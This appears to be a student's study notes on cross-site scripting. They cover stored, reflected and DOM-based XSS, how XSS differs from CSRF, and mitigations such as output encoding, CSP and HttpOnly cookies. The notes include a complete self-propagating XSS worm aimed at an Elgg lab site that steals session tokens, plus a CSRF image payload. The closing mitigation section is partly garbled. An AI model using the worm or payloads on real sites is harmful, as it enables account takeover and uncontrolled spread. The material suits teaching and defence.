XSS and Mitigation
XSS(cross-site script)
Type of XSS:
- Persistent/stored XSS, where the malicious string originates from the website's database.
- Reflected XSS, where the malicious string originates from the victim's request.
- DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.
Persistent/stored XSS
What we need:
Website : it's a website can submit and show user's uploaded data.
Website's database: it is a database that stores some users input included in the website's pages.
Step 1: Submit scripts in website's database. You can choose whatever input box which can submit and store the content in website's database. For example, some website have the comment box. When the attacker submits the comment with the malicious script, it stores on the website's database.
What we're showing blow is an input box for profile modification.
Step 2: navigate the page. When others open the page which has XSS, the script will execute automatically without clicking.
We can also write malicious script in attacker's website, and put the script in the input box. For example, the attacker's website is "www.exmaple.com" and the script stores in 'myscipt.js'.
Reflected XSS
Step 1: The attacker forge a link which contains the malicious script. For example, "http://website/search?keyword=<script>...<script>"
Step 2: Send the link to the victim
Step 3: The victim click the link to trigger the malicious script. The request is sent by the victim and get response from the website.
Step 4: The victim's browser executes the malicious script inside the response.
To differentiate CSRF:
CSRF : the attacker embed the request in another website. When user navigate the website, the malicious code will be triggered. These two website are both looked normal without any script in it. For example, Alice trust 'example.com', attacker put the transfer request on the website, like
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman>.
When Alice navigate 'example.com', the request will be triggered.
CSRF VS reflected XSS:
XSS leverages the user's trust in a given website, while CSRF leverages the site's trust in the user's web browser.
Reflect XSS scenario:
Reflected XSS gets token, cookie, timestamp and so on from the webpage, which is the same site.
DOM-base XSS
The malicious string is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed.
The vulnerability often happened in heavy use of client-side JavaScript and which take user data and update the DOM without ever actually sending the data to the server.
The difference between DOM-base XSS and reflected XSS:
Change the element which tag is 'h1'. Because Tag is an array, we choose the first one as [0]. When the img cannot be loaded, then shows the error as an alert.
Change the element by ID.
Modifying the DOM the data might not ever got to the server so that server-side filters might not be effective.
innerHTML:
Change the HTML content of a tag element with specific id.
Change the element by first tag of 'p'.
Self-propagation
A worm virus is a malicious, self-replicating program that can spread throughout a network without human assistance.
We have some demo code as below, whoever open this page, the program will be executed and self-replicating on the victim's website and spread.
<script type="text/javascript" id="worm">
window.onload = function() {
var headerTag = "<script id="worm" type="text/javascript">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag ="</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var desc = "&description=Samy is my hero" + wormCode;
desc += "&accesslevel[description]=2"
var name = "&name=" + elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
var token = "&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl ="http://www.xsslabelgg.com/action/profile/edit";
var content =token + ts + name + desc + guid;
if (elgg.session.user.guid !=47){
var Ajax = null;
Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl,true);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
Some functions may have DOM XSS vulnerability:
❍ document.write()
❍ document.writeln()
❍ xxx.innerHTML =
❍ xxx.outerHTML =
❍ innerHTML.replace
❍ document.attachEvent()
❍ window.attachEvent()
❍ document.location.replace()
❍ document.location.assign()
……
❍ inputs box
❍ window.location(href,hash)
❍ window.name
❍ document.referrer
❍ document.cookie
❍ localstorage
❍ XMLHttpRe
Mitigation:
- Encoding, which escapes the user input so that the browser interprets it only as data, not as code. "<" to <, ">" to >, etc
CSP(content security policy):
Set the blacklist and white list to defeat XSS.
CSP can be used to enforce the following rules:
- No untrusted sources :
- External resources can only be loaded from a set of clearly defined trusted sources.
- No inline resources
- :Inline JavaScript and CSS will not be evaluated.
- No
eval
- : The JavaScript
eval
function cannot be used. - For cookie:httponlyset security flagXSS filterFilter some symbols in input and output.Like <script>, JavaScript.Security encodingHTMLencode& --> &< --> <> --> >" --> "' --> ' &apos. not recommend/ --> / 包含反斜线是因为它可能会闭合一些HTML entityJavascriptEncodeUse / to transfer the special symbols:‘、”、<、>、\、&、#The argument should be inside of “ “var y = '"'+escapeJavascript($evil)+'"';XMLEncodeSimilar as htmlencodeFor CSS:encodeForCSS()For browsers, HtmlParser takes precedence over JavaScript Parser, so the parsing process is that the characters that are HtmlEncode are decoded first, and then JavaScript events are executed.Process rtfWhen filtering rich text, "events" should be strictly prohibited, because the dynamic effect of "events" should not be included in the presentation requirements of "rich text". Dangerous tags such as <iframe>, <script>, <base>, <form>, etc., should also be strictly prohibited.在过滤富文本时,“事件”应该被严格禁止,因为“富文本”的展示需求里不应该包括“事件”这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>等,也是应该严格禁止的。
- How to configure CSP file?
- The server will tell the browser to check the 'referer', it includes self, nounce and so on.
- #!/usr/bin/env python3from http.server import HTTPServer, BaseHTTPRequestHandlerfrom urllib.parse import *class MyHTTPRequestHandler(BaseHTTPRequestHandler):def do_GET(self):o = urlparse(self.path)f = open("." + o.path, 'rb')self.send_response(200)self.send_header('Content-Security-Policy',"default-src 'self';""script-src 'self' *.example68.com:8000 'nonce-1rA2345' ")self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write(f.read())f.close()httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)httpd.serve_forever()